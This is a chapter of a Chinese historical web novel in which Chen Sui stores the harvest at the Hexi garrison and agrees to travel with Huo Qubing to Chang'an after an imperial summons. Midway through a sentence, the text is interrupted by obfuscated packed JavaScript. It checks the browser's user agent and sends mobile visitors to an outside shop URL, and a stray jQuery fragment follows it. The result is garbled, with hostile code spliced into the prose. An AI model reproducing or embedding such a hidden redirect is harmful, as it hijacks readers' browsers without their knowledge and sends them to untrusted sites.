粮食入库那天，陈穗起得比收割那天还早。
天没亮她就站在库房门口了，看着文吏指挥人手把脱好粒的麦子一袋一袋搬进去。麻袋鼓鼓囊囊的，堆了一层又一层。她站在门口数——不是数袋子，是看那些袋子排满空荡的库房架子和地面，一点一点地把整个空间填满。
"这边靠墙码齐。"文吏的声音从库房深处传出来，"麦粒还带温呢，别堆太密，会捂。通风！通风留出来！"
陈穗看着他忙前忙后的背影，笑了一下。一年前这人在库房前面端着手跟她说"规矩就是规矩"，现在蹲在粮袋中间指挥码放的样子，倒像个操心的老农。灰袍军医站在库房另一边，在帮文吏清点袋数，嘴里的数字念得比念药方还认真。
木棍老兵从库房门口探头进来扫了一眼，退出去的时候嘴角咧到耳根。陈穗跟出去的时候看见他正蹲在库房外面的台阶上，一条好腿撑着地面，另一条木棍支着，面前摊着半张麻布，麻布上放了几把新麦粒，他正一粒一粒地数。
"数什么呢？"
老兵抬头看她："我数一斗能有多少粒。回头好算账。"
陈穗蹲下来跟他一起数："一斗大约两万八千粒左右。"
老兵愣了一下："两万八？你怎么知道的？"
陈穗张了张嘴，把"系统算的"咽回去了："……以前读过。"
老兵看了她一眼，没追问。他把那把麦粒拢起来装进一个小布袋里，站起身拍了拍膝盖上的灰："走吧陈医官，饭堂煮了新麦粥。军医一大早去磨的。"
新麦粥确实香。陈穗端了一碗坐在饭堂角落里慢慢喝，米粒还没煮得太烂，咬在嘴里有嚼劲，一股清甜的麦香味从碗沿升起来。她喝了两口，旁边的残兵们正七嘴八舌地讨论这批粮食能撑多久、明年能不能再扩一百亩、要不要在营地东面再开一块地。她听着这些讨论，低头继续喝粥。
喝到第三口的时候，营门方向传来急促的马蹄声。跟日常的巡逻马不一样——马蹄落地的节奏快得多，像急着赶路的人连口气都不肯多喘。陈穗放下粥碗站起来的时候，木棍老兵已经拄着木棍出去了。
一匹驿马停在主帐外面。马背上的人翻身下来的时候踉跄了一下，显然跑了长途。他从怀里掏出一卷帛书用油布裹着，双手递给了主帐门口的亲卫。那卷帛书比寻常的军报厚，封口处压了一个暗红色的火漆印——陈穗离得远看不清上面什么字，但她认得那个颜色。那是宫里常用的印泥色。
霍去病从主帐里走出来接过帛书的时候，陈穗正从饭堂门口往外看。他的表情变了一下——幅度极小，但陈穗捕捉到了。他拆开火漆读了那卷帛书，读完后把帛书合上捏在手里，站在帐门口没动。
陈穗从饭堂走出来，穿过空地走到他面前的时候，他已经把帛书卷好放进了怀里。
"什么事？"陈穗问。她的声音压得很低，旁边路过的亲卫看了她一眼但没拦。霍去病低头看着她，像在斟酌怎么开口。
"长安来的。"他说，"天子召我回京述职。"
陈穗心里沉了一下。她已经习惯他在河西了，虽然出征的时候也会有几个月不在，但她知道他会回来。回长安述职不一样，那是朝堂的事、规矩的事、她插不上手的事。
"什么时候走？"她问。
"明天。"霍去病顿了一下，"还有一件事。"他看着陈穗，目光从她脸上移到她身后的麦田上，又从麦田移回她脸上。那卷帛书他攥在手里，像在掂量什么。"诏书最后添了一句话——‘携河西屯田主事者同往。’"
陈穗愣了一下："……我？"
"你写的方略被朝廷收录了。天子要当面听你讲。"他的表情依然是平的，但他说出下一句话的时候语气比前面缓了半拍，"你可以不去。"
陈穗看了他一眼。
"什么意思？"
"我替你把方略带去就行。"霍去病说，"你留在河西。方略我已经熟记了，天子问什么我答什么。"
他说话的时候目光落在她手上——她今天没戴手套，两只手交叉攥着粥碗的边沿。他看了两秒又把目光移开了，像是在给她留一个安静的退路。但陈穗已经把粥碗放到旁边的地上了。
"我去。"
霍去病的目光重新落回她脸上。
"我写的方略我自己讲。"陈穗迎着他的目光，"讲不清楚的时候——"她说到这里顿了一下，然后接上了后半句，"你在旁边站着就行了。"
霍去病的嘴角微微动了一下。幅度比之前任何一次都大一点，像一根绷了很久的弦松了一丁点弧度。他偏开了目光，落在她身后那排整整齐齐的粮袋上，然后开口说了一句话："那明天启程。"
他转身往主帐里走。陈穗站在原地看着他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920779|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
背影，步伐跟平时一样稳，但她注意到他掀帐帘进去之前，右手的手指在那卷帛书的边缘上轻轻摩挲了一下——像攥着什么东西舍不得松手。然后帐帘落下，他的身影被收进去了。
陈穗弯腰把地上的粥碗端起来，碗沿还温着，新麦粥的香气飘起来又散掉。她低头看了一眼自己的手——没戴手套，十根手指头的茧子已经褪了一层，但掌心和指腹上那些深浅不一的旧痕还在。她把粥碗慢慢喝完，然后转身往自己帐里走。
她要把那两双手套带上。旧的揣怀里，新的戴手上。那两片竹片也要带着。还要把水车图纸和屯田方略的完整抄本整理出来，带去给天子看。
她走回帐里的路上经过麦田。麦子已经收完了，地里还留着齐膝高的麦茬，在晨光里一片淡金色。她低头走过田埂的时候忽然停了一下，蹲下去摸了摸一截麦茬的断面。硬硬的，茬口整齐，是镰刀割出来的。她用手指摩挲了一下那个断面，然后站起来继续走了。
当天下午她收拾包袱的时候，木棍老兵拄着木棍站在她帐门口看着，也不进来，就那么站着看了一会儿。"去长安啊？"他问。
"嗯。"
老兵沉默了一会儿，从怀里掏出一个东西递过来。是一把新磨的小镰刀——刃口亮得像镜子，柄上缠了一圈布条防滑。"你上次说长安那边不种地，但万一需要呢。带着防身。"他把镰刀放在她帐门口，转身走了，走了两步又回头补了一句，"我等着你回来说长安的麦子跟我们河西的比哪边好吃。"
陈穗把那把小镰刀拿起来看了一会儿，放进包袱里。文吏来了，给她送来了方略的完整抄本——他自己誊抄了三遍，字迹工整得像印的，每一页边缘还批了注释。陈穗翻了翻，抬头看文吏想道谢，文吏已经跑了。灰袍军医最后来的，塞了一包干药片："治风寒的。长安春天风大，你容易咳。包好。"陈穗把那包药放进包袱的时候捏了一下，药包的布很软，像是被反复折过的。
晚上她一个人坐在帐里，把包袱里所有的东西倒出来又码了一遍：两双手套、两片竹片、一方竹简方略、一沓麻布抄本、一把小镰刀、一包干药片。她把它们一件件摆开，又一件件收回去，最后在包袱最底层放了一把河西的土——她从麦田边上抓的，用一块干净的布裹着，放进包袱角里。
然后她把手套戴上，站起来吹了灯。
明天启程。